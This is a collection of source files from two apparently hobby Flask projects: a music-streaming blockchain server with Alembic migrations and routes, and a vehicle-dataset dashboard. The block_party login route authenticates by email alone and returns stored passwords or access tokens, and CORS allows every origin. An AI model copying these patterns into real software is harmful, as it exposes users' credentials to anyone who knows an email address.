"detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 825, "license_type": "no_license", "max_line_length": 65, "num_lines": 34, "path": "/migrations/versions/f226666b8429_.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: f226666b8429\nRevises: 228bba4edc6f\nCreate Date: 2018-01-13 19:13:24.086418\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'f226666b8429'\ndown_revision = '228bba4edc6f'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('artists', 'spotify_id',\n existing_type=sa.INTEGER(),\n type_=sa.Text(),\n existing_nullable=True)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('artists', 'spotify_id',\n existing_type=sa.Text(),\n type_=sa.INTEGER(),\n existing_nullable=True)\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6460055112838745, "alphanum_fraction": 0.6593204736709595, "avg_line_length": 40.09434127807617, "blob_id": "1abd74f005696ca93b5ff874bd10c06d2420dfde", "content_id": "42685613b3edc50db4070d217f4739e8e4a1e50a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2178, "license_type": "no_license", "max_line_length": 110, "num_lines": 53, "path": "/migrations/versions/07c44256b8d8_.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 07c44256b8d8\nRevises: 18f1d056ac5e\nCreate Date: 2018-01-13 19:26:08.892437\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '07c44256b8d8'\ndown_revision = '18f1d056ac5e'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('streams',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('song_id', sa.Integer(), nullable=True),\n sa.Column('artist_id', sa.Integer(), nullable=True),\n sa.Column('played_at', sa.DateTime(), nullable=True),\n sa.Column('user_id', sa.Integer(), nullable=True),\n sa.Column('created_at', sa.DateTime(), nullable=True),\n sa.Column('duration', sa.Integer(), nullable=True),\n sa.Column('value', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['artist_id'], ['artists.id'], ),\n sa.ForeignKeyConstraint(['song_id'], ['songs.id'], ),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n sa.PrimaryKeyConstraint('id')\n )\n op.drop_constraint('songs_song_id_fkey', 'songs', type_='foreignkey')\n op.drop_constraint('songs_user_id_fkey', 'songs', type_='foreignkey')\n op.drop_column('songs', 'played_at')\n op.drop_column('songs', 'song_id')\n op.drop_column('songs', 'duration')\n op.drop_column('songs', 'user_id')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('songs', sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('songs', sa.Column('duration', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('songs', sa.Column('song_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('songs', sa.Column('played_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=True))\n op.create_foreign_key('songs_user_id_fkey', 'songs', 'users', ['user_id'], ['id'])\n op.create_foreign_key('songs_song_id_fkey', 'songs', 'songs', ['song_id'], ['id'])\n op.drop_table('streams')\n # ### end Alembic commands ###\n" }, { "alpha_fraction": 0.6253776550292969, "alphanum_fraction": 0.6253776550292969, "avg_line_length": 34.783782958984375, "blob_id": "1aec6607ef9bb4e43975e74d1ba62e694c8e43f5", "content_id": "4fd9e21f708ec0d7b5db2fc98e2a8dbe071e0ea2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1324, "license_type": "no_license", "max_line_length": 109, "num_lines": 37, "path": "/app/models/song.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom app import db\n\n\nclass Song(db.Model):\n __tablename__ = 'songs'\n __table_args__ = {'extend_existing': True} \n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.Text)\n artist_id = db.Column(db.Integer, db.ForeignKey('artists.id'))\n # album_id = db.Column(db.Integer, db.ForeignKey('albums.id'))\n spotify_id = db.Column(db.Text, default=None)\n created_at = db.Column(db.DateTime, default=datetime.now())\n photo = db.Column(db.Text, default=None)\n claps = db.Column(db.Integer, default=None)\n shares = db.Column(db.Integer, default=None)\n popularity = db.Column(db.Integer, default=None)\n value = db.Column(db.Integer, default=None)\n # genres = db.Column(db.Text, default=None)\n\n def __init__(self, id, name, artist_id, created_at, photo, claps, shares, value, spotify_id, popularity):\n self.id = id\n self.name = name\n self.popularity = popularity\n self.artist_id = artist_id\n # self.album = album\n self.spotify_id = spotify_id\n self.created_at = created_at\n self.photo = photo\n self.claps = claps\n self.shares = shares\n self.value = value\n # self.genres = genres\n\n def __repr__(self):\n return '<Song {}, {}>'.format(self.id, self.name)\n" }, { "alpha_fraction": 0.516879141330719, "alphanum_fraction": 0.5208884477615356, "avg_line_length": 27.735023498535156, "blob_id": "3df0907b14f3860696d29f4dafd08a3a8c645e9c", "content_id": "2fe3557c9b3e704b1e61c7ec411654270a931a37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12471, "license_type": "no_license", "max_line_length": 123, "num_lines": 434, "path": "/app/routes.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "import os\nfrom datetime import datetime\nfrom json import JSONEncoder\nfrom app import app, db\nfrom flask import Flask, jsonify, request, json, redirect, render_template, send_from_directory, make_response, current_app\nfrom flask_cors import CORS, cross_origin\nfrom uuid import uuid4\nfrom textwrap import dedent\nfrom .models.blockchain import Blockchain\nfrom .models.user import User\nfrom .models.artist import Artist\nfrom .models.album import Album\nfrom .models.song import Song\nfrom .models.stream import Stream\n\n\nclass MyEncoder(JSONEncoder):\n def default(self, o):\n return o.__dict__\n\n\nCORS(app, origins=['*', 'https://block-party-client.herokuapp.com'])\n\nnode_identifier = str(uuid4()).replace('-', '')\nblockchain = Blockchain()\n\n\[email protected]('/mine', methods=['POST'])\n@cross_origin()\ndef mine():\n\n data = request.get_json()\n print(data)\n\n artist_id = data['artist_id']\n user_id = data['user_id']\n\n print(artist_id)\n print(user_id)\n\n artist = Artist.query.filter_by(id=int(artist_id)).first()\n listener = User.query.filter_by(id=int(user_id)).first()\n\n print(artist)\n print(listener)\n print(listener.name + ' is listening to ' + artist.name +\n '. 25% of this BlockNote attributed to ' + listener.name + ', 50% to ' + artist.name)\n\n last_block = blockchain.last_block\n last_proof = last_block['proof']\n proof = blockchain.proof_of_work(last_proof)\n\n # Receive a reward for finding this proof\n blockchain.new_transaction(\n sender=\"0\",\n recipient=node_identifier,\n amount=1\n )\n\n # Forge new block by adding it to the chain\n previous_hash = blockchain.hash(last_block)\n block = blockchain.new_block(proof, previous_hash)\n\n response = {\n 'message': 'New Block Forged',\n 'index': block['index'],\n 'transactions': block['transactions'],\n 'proof': block['proof'],\n 'previous_hash': block['previous_hash']\n }\n\n return jsonify(response), 200\n\n\[email protected]('/transactions/new', methods=['POST'])\ndef new_transaction():\n\n values = request.get_json()\n\n # Check that the required fields are in the POST'ed data\n required = ['sender', 'recipient', 'amount']\n if not all(k in values for k in required):\n return 'Missing values', 400\n\n # Create a new Transaction\n index = blockchain.new_transaction(\n values['sender'], values['recipient'], values['amount'])\n\n response = {'message': f'Transaction will be added to Block {index}'}\n\n return jsonify(response), 201\n\n\[email protected]('/chain', methods=['GET'])\ndef full_chain():\n\n response = {\n 'chain': blockchain.chain,\n 'length': len(blockchain.chain)\n }\n\n return jsonify(response), 200\n\n\[email protected]('/users/signup', methods=['POST'])\ndef signup():\n\n data = request.get_json()\n address = str(uuid4())\n\n if data['platform'] == True:\n\n incoming_user = data['platform_user']\n print(incoming_user)\n\n user_name = incoming_user.get('user_name')\n profile_photo = incoming_user.get('profile_photo')\n email = incoming_user.get('email')\n followers = incoming_user.get('followers')\n platforms = incoming_user.get('platforms')\n account_tier = incoming_user.get('account_tier')\n accessToken = incoming_user.get('accessToken')\n\n new_user = User(id=None,\n password=accessToken,\n date_joined=None,\n spotify_id=None,\n name=user_name,\n followers=followers,\n email=email,\n profile_image=profile_photo,\n platforms=platforms,\n wallet_address=address\n )\n else:\n user_name = data['user_name']\n profile_photo = data['profile_photo']\n email = data['email']\n platforms = data['platforms']\n\n print(user_name)\n print(profile_photo)\n print(email)\n print(platforms)\n print(address)\n\n new_user = User(id=None,\n password=None,\n date_joined=None,\n spotify_id=None,\n name=user_name,\n email=email,\n followers=None,\n profile_image=profile_photo,\n platforms=platforms,\n wallet_address=address\n )\n\n db.session.add(new_user)\n db.session.commit()\n print(new_user)\n\n resp_data = {\n 'success': True,\n 'new_user': {\n 'user_name': new_user.name,\n 'profile_photo': new_user.profile_image,\n 'email': new_user.email,\n 'followers': new_user.followers,\n 'platforms': new_user.platforms,\n 'accessToken': new_user.password,\n \"id\": new_user.id\n }\n }\n\n resp = make_response(jsonify(resp_data), 200)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n\n return resp\n\n\[email protected]('/artists/signup', methods=['POST'])\n# @cross_origin()\ndef artist_signup():\n\n data = request.get_json()\n print(data)\n\n artist_name = data['artist_name']\n password = data['password']\n email = data['email']\n address = str(uuid4())\n\n new_artist = Artist(id=None,\n password=password,\n date_joined=None,\n name=artist_name,\n spotify_id=None,\n email=email,\n profile_image=None,\n wallet_address=address\n )\n\n db.session.add(new_artist)\n db.session.commit()\n\n resp_data = {\n 'artist': {\n 'artist_name': artist_name,\n 'email': email,\n 'wallet_address': address,\n 'id': new_artist.id\n }\n }\n\n resp = make_response(jsonify(resp_data), 200)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n\n return resp\n\n\[email protected]('/login', methods=['POST'])\ndef login():\n req = request.get_json()\n data = req['data']\n\n print(data)\n\n if data.get('isArtist'):\n artist = Artist.query.filter_by(email_address=data['email']).first()\n print(artist)\n\n if artist:\n print(artist)\n resp_data = {\n 'artist': {\n 'artist_name': artist.name,\n 'email': artist.email_address,\n 'wallet_address': artist.wallet_address,\n 'id': artist.id\n }\n }\n\n resp = make_response(jsonify(resp_data), 200)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n\n return resp\n elif data.get('spotify_login'):\n email = data['platform_user']['email']\n print(email)\n user = User.query.filter_by(email=email).first()\n\n if user:\n resp_data = {\n 'user': {\n 'user_name': user.name,\n 'email': user.email,\n 'password': user.password,\n 'wallet_address': user.wallet_address,\n 'id': user.id\n }\n }\n\n resp = make_response(jsonify(resp_data), 200)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n\n return resp\n\n\[email protected]('/artists/<string:artist_id>/onboard', methods=['GET', 'POST'])\n@cross_origin()\ndef artist_onboard(artist_id):\n if request.method == \"GET\":\n print(artist_id)\n print(int(artist_id))\n new_artist = Artist.query.filter_by(id=int(artist_id)).first()\n\n if new_artist:\n name = new_artist.name\n wallet_address = new_artist.wallet_address\n\n resp = {\n 'name': name,\n 'wallet_address': wallet_address\n }\n\n return jsonify(resp), 200\n else:\n return 'Error'\n\n # elif request.method == 'POST':\n\n\[email protected]('/users/<string:user_id>/stream/add-artists', methods=['POST'])\ndef add_artists_stream(user_id):\n\n req = request.get_json()\n stream_data = req['data']\n recent_tracks = None\n if 'recent_tracks' in stream_data:\n recent_tracks = stream_data['recent_tracks']\n\n print(recent_tracks)\n user = User.query.filter_by(id=int(user_id)).first()\n\n for stream in recent_tracks:\n streamed_artist = stream['artist']\n streamed_song = stream\n existing_song = Song.query.filter_by(\n name=streamed_song.get('name')).first()\n existing_artist = Artist.query.filter_by(\n name=streamed_artist.get('name')).first()\n\n song = existing_song\n artist = existing_artist\n\n if not existing_artist:\n address = str(uuid4())\n new_artist = Artist(id=None,\n password=None,\n date_joined=None,\n name=streamed_artist.get('name'),\n spotify_id=streamed_artist.get('spotify_id'),\n email=None,\n profile_image=streamed_artist.get(\n 'photo').get('url'),\n wallet_address=address\n )\n db.session.add(new_artist)\n db.session.commit()\n artist = new_artist\n\n if not existing_song:\n new_song = Song(id=None,\n name=streamed_song.get('name'),\n artist_id=artist.id,\n popularity=streamed_song.get('popularity'),\n spotify_id=streamed_song.get('spotify_id'),\n created_at=None,\n photo=None,\n claps=None,\n shares=None,\n value=None\n )\n db.session.add(new_song)\n db.session.commit()\n song = new_song\n\n new_stream = Stream(id=None,\n song_id=song.id,\n user_id=user.id,\n artist_id=artist.id,\n created_at=None,\n played_at=streamed_song.get('played_at'),\n duration=streamed_song.get('duration'),\n value=None\n )\n\n db.session.add(new_stream)\n db.session.commit()\n\n all_user_streams = Stream.query.filter_by(user_id=user.id).all()\n streams = []\n\n for stream in all_user_streams:\n artist = Artist.query.filter_by(id=int(stream.artist_id)).first()\n song = Song.query.filter_by(id=int(stream.song_id)).first()\n\n print(song)\n print(artist)\n \n new_stream = {\n 'id': stream.id,\n 'song': {\n 'name': song.name,\n 'popularity': song.popularity\n },\n 'artist':{\n 'name': artist.name,\n 'photo': artist.profile_image\n },\n 'played_at': stream.played_at,\n 'duration': stream.duration,\n 'value': stream.value\n }\n streams.append(new_stream)\n\n resp = make_response(jsonify(streams), 200)\n resp.headers['Access-Control-Allow-Origin'] = '*'\n\n return resp\n\n\[email protected]('/nodes/register/', methods=['POST'])\n@cross_origin()\ndef register_nodes():\n\n values = request.get_json()\n nodes = values.get('nodes')\n\n if nodes is None:\n return 'Error Please supply a valid list of nodes', 400\n\n for node in nodes:\n blockchain.register_node(node)\n\n response = {\n 'message': 'New nodes have been added',\n 'total_nodes': list(blockchain.nodes)\n }\n\n return jsonify(response), 201\n\n\[email protected]('/nodes/resolve', methods=['GET'])\ndef consensus():\n\n replaced = blockchain.resolve_conflicts()\n\n if replaced:\n response = {\n 'message': 'Our chain was replaced',\n 'new_chain': blockchain.chain\n }\n else:\n response = {\n 'message': 'Our chain is authoritative',\n 'chain': blockchain.chain\n }\n return jsonify(response), 200\n\n\nif __name__ == \"__main__\":\n app.run()\n" }, { "alpha_fraction": 0.6901408433914185, "alphanum_fraction": 0.6901408433914185, "avg_line_length": 16.75, "blob_id": "b122ce625385dc0b9a07d895c455e058a1ccbaf5", "content_id": "2257b2850907e790b9a26c4f571ca5fc6fd9ea90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 71, "license_type": "no_license", "max_line_length": 26, "num_lines": 4, "path": "/main.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "\nfrom app import app, db\n# from app.models import *\n\n# app.create_app()" }, { "alpha_fraction": 0.6278735399246216, "alphanum_fraction": 0.6530172228813171, "avg_line_length": 33.79999923706055, "blob_id": "7a832ba8ea77bd6d4b22d4c516ce0c5a5cb18e05", "content_id": "5a0b8e087898d20e36ee26297ebbbbee22195c90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1392, "license_type": "no_license", "max_line_length": 82, "num_lines": 40, "path": "/migrations/versions/92ddede47972_.py", "repo_name": "Soundpruf/block_party-server", "src_encoding": "UTF-8", "text": "\"\"\"empty message\n\nRevision ID: 92ddede47972\nRevises: 2cf7de52d9de\nCreate Date: 2018-01-13 18:51:31.047662\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '92ddede47972'\ndown_revision = '2cf7de52d9de'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('artists', sa.Column('spotify_id', sa.Integer(), nullable=True))\n op.add_column('songs', sa.Column('duration', sa.Integer(), nullable=True))\n op.add_column('songs', sa.Column('played_at', sa.DateTime(), nullable=True))\n op.add_column('songs', sa.Column('song_id', sa.Integer(), nullable=True))\n op.add_column('songs', sa.Column('user_id', sa.Integer(), nullable=True))\n op.create_foreign_key(None, 'songs', 'songs', ['song_id'], ['id'])\n op.create_foreign_key(None, 'songs', 'users', ['user_id'], ['id'])\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_constraint(None, 'songs', type_='foreignkey')\n op.drop_constraint(None, 'songs', type_='foreignkey')\n op.drop_column('songs', 'user_id')\n op.drop_column('songs', 'song_id')\n op.drop_column('songs', 'played_at')\n op.drop_column('songs', 'duration')\n op.drop_column('artists', 'spotify_id')\n # ### end Alembic commands ###\n" } ]
14
vcar/vcar
https://github.com/vcar/vcar
3635bab9032baab1616c7b722b2640cb087bc0d5
cfdb105f7cc290a60d9f3ddc21608bf6c351811e
00c379007e67c5b2e19891e6d80177df5fe651b5
refs/heads/master
2022-02-02T17:54:31.007578
2018-01-03T11:40:00
2018-01-03T11:40:00
90,060,759
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6157371997833252, "alphanum_fraction": 0.6294881701469421, "avg_line_length": 35.36111068725586, "blob_id": "461dc76e0988e646166619a62d0b4de18c322026", "content_id": "1556a006b8f01a46d4cd784b64b3f98bcd3be476", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1309, "license_type": "no_license", "max_line_length": 135, "num_lines": 36, "path": "/app/carboard/models/article.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from datetime import datetime\nfrom ...extensions import db\n\n# -------------------------------- Brand Model ------------------------------ #\n\n\nclass Article(db.Model):\n \"\"\" Article Model \"\"\"\n __tablename__ = 'articles'\n\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(255))\n authors = db.Column(db.String(255))\n abstract = db.Column(db.String(255), nullable=True)\n publication_date = db.Column(db.DateTime(), nullable=True)\n keywords = db.Column(db.String(255), nullable=True)\n reference = db.Column(db.String(255), nullable=True)\n link = db.Column(db.String(255), nullable=True)\n\n dataset_id = db.Column(db.Integer, db.ForeignKey('datasets.id'), nullable=True)\n dataset = db.relationship('Dataset', back_populates=\"article\")\n\n created = db.Column(db.DateTime(), default=datetime.utcnow())\n\n def __init__(self, name, authors, dataset_id=None, abstract=None, publication_date=None, keywords=None, reference=None, link=None):\n self.dataset_id = dataset_id\n self.name = name\n self.authors = authors\n self.abstract = abstract\n self.publication_date = publication_date\n self.keywords = keywords\n self.reference = reference\n self.link = link\n\n def __repr__(self):\n return self.name\n" }, { "alpha_fraction": 0.5966640114784241, "alphanum_fraction": 0.6004765629768372, "avg_line_length": 33.21195602416992, "blob_id": "d0c829b5c5ffc58e4b9690eefa3a841611799dab", "content_id": "a853a6ee4b85c1ce13ee2291612327d91b403edf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6295, "license_type": "no_license", "max_line_length": 113, "num_lines": 184, "path": "/app/carboard/views/dataset.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "import json\nfrom os.path import basename\nfrom importlib import import_module\nfrom threading import Thread\nimport traceback\nfrom flask import (\n render_template, request, flash, redirect, url_for\n)\nfrom flask_login import login_required, current_user\n\nfrom . import carboard\nfrom ..models.dataset import Dataset\nfrom ..models.file import File\nfrom ..forms.dataset import DatasetForm, FeedDatasetForm\nfrom ..helpers import upload_dsfile\nfrom ..constants import PER_PAGE\nfrom ...extensions import db\n\n# -------------------- /carboard/dataset/ : List of datasets ---------------- #\n\n\[email protected]('/dataset/')\n@login_required\ndef indexDataset():\n datasets = Dataset.query.paginate(\n page=request.args.get('page', 1, type=int),\n per_page=request.args.get('per_page', PER_PAGE, type=int),\n )\n return render_template('carboard/dataset/index.html', datasets=datasets)\n\n# -------------------- /carboard/dataset/id : Show dataset ------------------ #\n\n\[email protected]('/dataset/<int:id>', methods=['GET'])\n@login_required\ndef showDataset(id):\n dataset = Dataset.query.get_or_404(id)\n return render_template('carboard/dataset/show.html', dataset=dataset)\n\n# -------------------- /carboard/dataset/new : Add dataset ------------------ #\n\n\[email protected]('/dataset/new', methods=['GET', 'POST'])\n@login_required\ndef newDataset():\n \"\"\" Add new dataset \"\"\"\n\n form = DatasetForm()\n\n if form.validate_on_submit():\n dataset = Dataset(\n name=form.name.data,\n slug=form.slug.data,\n description=form.description.data,\n author=form.author.data,\n lab=form.lab.data,\n website=form.website.data,\n )\n db.session.add(dataset)\n db.session.commit()\n flash('Dataset {}, added successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.indexDataset'))\n\n return render_template('carboard/dataset/new.html', form=form)\n\n# -------------------- /carboard/dataset/id/edit : Edit dataset ------------- #\n\n\[email protected]('/dataset/feed/<int:id>', methods=['GET', 'POST'])\n@login_required\ndef feedDataset(id):\n \"\"\" Fill dataset with data that may come from diff sources \"\"\"\n\n dataset = Dataset.query.get_or_404(id)\n\n form = FeedDatasetForm()\n\n if form.validate_on_submit():\n files = request.form.getlist('files')\n try:\n # Dataset slug a.k.a module name\n slug = dataset.slug\n # Import the module\n # mod = import_module(\". elastic\", 'app.importer.datasets.' + slug)\n mod = import_module('app.importer.datasets.' + slug + '.elastic')\n # Indexing function\n index_function = 'index_bulk' # 'index'\n # get a reference to the init function\n init = getattr(mod, index_function)\n # create a threaded job to index uploaded data according to it's dataset\n thread = Thread(target=init, args=[files, dataset, current_user.id])\n thread.daemon = True\n thread.start()\n # thread.join(1)\n # print(active_count())\n flash('Files added to Dataset \"{}\" are being indexed in background.'.format(dataset.name), 'success')\n except ImportError:\n flash('No dataset indexer is provided!', 'error')\n except Exception:\n flash('Something went wrong while trying to indexed dataset files!', 'error')\n print('\\n\\n\\n')\n traceback.print_exc()\n print('\\n\\n\\n')\n # raise\n # raise\n return redirect(url_for('carboard.indexDataset'))\n else:\n for field, errors in form.errors.items():\n for error in errors:\n flash(u\"Error in the %s field - %s\" % (\n getattr(form, field).label.text,\n error\n ), 'error')\n\n return render_template(\n 'carboard/dataset/feed.html',\n form=form,\n dataset=dataset\n )\n\n# -------------------- /carboard/dataset/id/edit : Edit dataset ------------- #\n\n\[email protected]('/dataset/getfile/<int:id>', methods=['POST'])\n@login_required\ndef getFileDataset(id):\n \"\"\" Handle multiple dataset file uploads \"\"\"\n\n dataset = Dataset.query.get_or_404(id)\n if request.method == 'POST':\n trace = upload_dsfile('file', dataset.slug)\n if trace['status'] is True:\n file = File(\n user_id=current_user.id,\n filename=basename(trace['message']),\n path=trace['message']\n )\n db.session.add(file)\n db.session.commit()\n return json.dumps(trace)\n\n# -------------------- /carboard/dataset/id/edit : Edit dataset ------------- #\n\n\[email protected]('/dataset/<int:id>/edit', methods=['GET', 'POST'])\n@login_required\ndef editDataset(id):\n \"\"\" Edit existing dataset \"\"\"\n dataset = Dataset.query.get_or_404(id)\n form = DatasetForm(obj=dataset)\n if form.validate_on_submit():\n form.populate_obj(dataset)\n db.session.commit()\n flash('Dataset {}, updated successfully.'.format(form.name.data), 'success')\n return redirect(url_for('carboard.showDataset', id=id))\n\n return render_template('carboard/dataset/edit.html', form=form, id=id)\n\n# -------------------- /carboard/dataset/id/delete : Delete dataset --------- #\n\n\[email protected]('/dataset/<int:id>/toggle', methods=['GET'])\n@login_required\ndef toggleDataset(id):\n dataset = Dataset.query.get_or_404(id)\n # getattr(dataset, 'status', 0)\n status = dataset.status if dataset.status is not None else 0\n dataset.status = 1 - status\n db.session.commit()\n msg = 'activated' if dataset.status is 1 else 'deactivated'\n flash('Dataset {}, {} successfully.'.format(dataset.name, msg), 'success')\n return redirect(url_for('carboard.indexDataset'))\n\n# -------------------- /carboard/dataset/id/delete : Delete dataset --------- #\n\n\[email protected]('/dataset/<int:id>/delete', methods=['GET'])\n@login_required\ndef deleteDataset(id):\n dataset = Dataset.query.get_or_404(id)\n db.session.delete(dataset)\n db.session.commit()\n flash('Dataset {}, deleted successfully.'.format(dataset.name), 'success')\n return redirect(url_for('carboard.indexDataset'))\n" }, { "alpha_fraction": 0.8387096524238586, "alphanum_fraction": 0.8387096524238586, "avg_line_length": 30, "blob_id": "ebe86a3bb58a41314c90239dea85344ebf82cbf4", "content_id": "16f29bc21be6a34f76dbbf694186c1a3f5aa326f", "detected_licenses": [ "MIT", "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 31, "license_type": "permissive", "max_line_length": 30, "num_lines": 1, "path": "/app/plugins/driver_graph/src/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from .views import driverGraph\n" }, { "alpha_fraction": 0.41207748651504517, "alphanum_fraction": 0.4204329550266266, "avg_line_length": 28.255556106567383, "blob_id": "0e645f9c58623de3f243be025c23c112d3b4e6a8", "content_id": "d76c2bc9d4a72449a45509bfb1a1bc5946e5d91c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "HTML", "length_bytes": 2633, "license_type": "no_license", "max_line_length": 113, "num_lines": 90, "path": "/templates/carboard/signal/bulk.html", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "{% extends \"layout.html\" %}\n\n{% from \"carboard/macros.html\" import render_field, box_header %}\n\n{% block title %}\n Bulk Add Signals\n{% endblock %}\n{% block styles %}\n {{ super() }}\n <style>\n .box-footer {\n background-color: #2A2A2A;\n border-color: #2A2A2A;\n }\n\n .box-body {\n padding: 40px 50px;\n }\n\n .drop-file {\n width: 100%;\n height: 200px;\n }\n\n </style>\n{% endblock %}\n{% block content_header %}\n <section class=\"content-header\">\n <h1>\n Add Signals\n </h1>\n <ol class=\"breadcrumb\">\n <li><a href=\"{{ url_for('carboard.index') }}\"><i class=\"fa fa-dashboard\"></i>Home</a></li>\n <li><a href=\"{{ url_for('carboard.indexSignal') }}\">Signals</a></li>\n <li class=\"active\">Bulk Add Signals</li>\n </ol>\n </section>\n{% endblock content_header %}\n\n{% block content %}\n {% if errors %}\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"well-error\">\n <ul>\n {% for error in errors %}\n <li>{{ error }}</li>\n {% endfor %}\n </ul>\n </div>\n </div>\n </div>\n {% endif %}\n <div class=\"row\">\n <div class=\"col-md-12\">\n <div class=\"box box-solid vcar-box\">\n\n {{ box_header('Bulk Add Signals') }}\n\n <div class=\"box-body\">\n <form action=\"{{ url_for('carboard.bulkAdd') }}\" method=\"POST\" enctype=\"multipart/form-data\">\n <div class=\"drop-file\">\n <span id=\"file-info\" class=\"animated-bounce\">Drop Your file Here</span>\n {% for field in form %}\n {{ render_field(field) }}\n {% endfor %}\n </div>\n </form>\n </div>\n </div>\n <div class=\"box-footer form-footer\">\n <button type=\"submit\" id=\"submit\" class=\"btn btn-success\">Submit</button>\n <a href=\"{{ url_for('carboard.indexSignal') }}\" class=\"btn btn-default pull-right\">Back to\n list\n </a>\n </div>\n </div>\n </div>\n{% endblock %}\n\n{% block scripts %}\n {{ super() }}\n <script type=\"text/javascript\">\n $('#submit').click(function (e) {\n if (fileInput.value) {\n $('form').submit();\n }\n })\n </script>\n{% endblock %}\n" }, { "alpha_fraction": 0.7157894968986511, "alphanum_fraction": 0.7178947329521179, "avg_line_length": 42.181819915771484, "blob_id": "8f23986eeb88a61a52b9c4013b0c68c70af783fa", "content_id": "10ad93bfdf9957adb1eb7a694d60879e7b8bd79a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 475, "license_type": "no_license", "max_line_length": 92, "num_lines": 11, "path": "/tests/Dockerfile", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "FROM alpine\nLABEL maintainer=\"[email protected]\"\nRUN apk update && apk add nodejs \nRUN mkdir average\nADD average.js average/\nWORKDIR average\n# ADD # copies new files, directories or remote file to container.\n# CMD [ \"node\", \"average.js\" ] # You can overide the cmd (bin/sh -c) \n# CMD ping google.com\nENTRYPOINT [ \"node\", \"average.js\" ] # You can't (no shell && pid 1 && passed are arguments)\n# ONBUILD # adds a trigger instruction when the image is used as the base for another build.\n" }, { "alpha_fraction": 0.6984572410583496, "alphanum_fraction": 0.6984572410583496, "avg_line_length": 26.960784912109375, "blob_id": "83432121e38a78f16e7c532f4a7f6c827f4d1dfa", "content_id": "cec2b807b8df75982a1228b612c0e6d35dbdec0d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1426, "license_type": "no_license", "max_line_length": 81, "num_lines": 51, "path": "/app/carboard/views/__init__.py", "repo_name": "vcar/vcar", "src_encoding": "UTF-8", "text": "from flask import Blueprint, render_template\nfrom flask_login import login_required, current_user\nfrom flask import g\n\nfrom ..models.record import Record\nfrom ..models.vehicle import Vehicle\nfrom ..models.driver import Driver\nfrom ..constants import PER_HOME_PAGE\n\ncarboard = Blueprint('carboard', __name__, url_prefix='/carboard')\n\nfrom .article import *\nfrom .brand import *\nfrom .country import *\nfrom .dataset import *\nfrom .driver import *\nfrom .drivetype import *\nfrom .extrasignal import *\nfrom .model import *\nfrom .platform import *\nfrom .record import *\nfrom .signal import *\nfrom .signalclass import *\nfrom .signalsource import *\nfrom .status import *\nfrom .user import *\nfrom .vehicle import *\nfrom .plugin import *\n# --------------------- /carboard/index : User home page -------------------- #\n\n\[email protected]('/')\n@login_required\ndef index():\n records = Record.query.order_by(Record.created).limit(PER_HOME_PAGE).all()\n vehicles = Vehicle.query.order_by(Vehicle.created).limit(PER_HOME_PAGE).all()\n drivers = Driver.query.order_by(Driver.created).limit(PER_HOME_PAGE).all()\n return render_template(\n 'carboard/index.html',\n user=current_user,\n records=records,\n vehicles=vehicles,\n drivers=drivers,\n )\n\n\[email 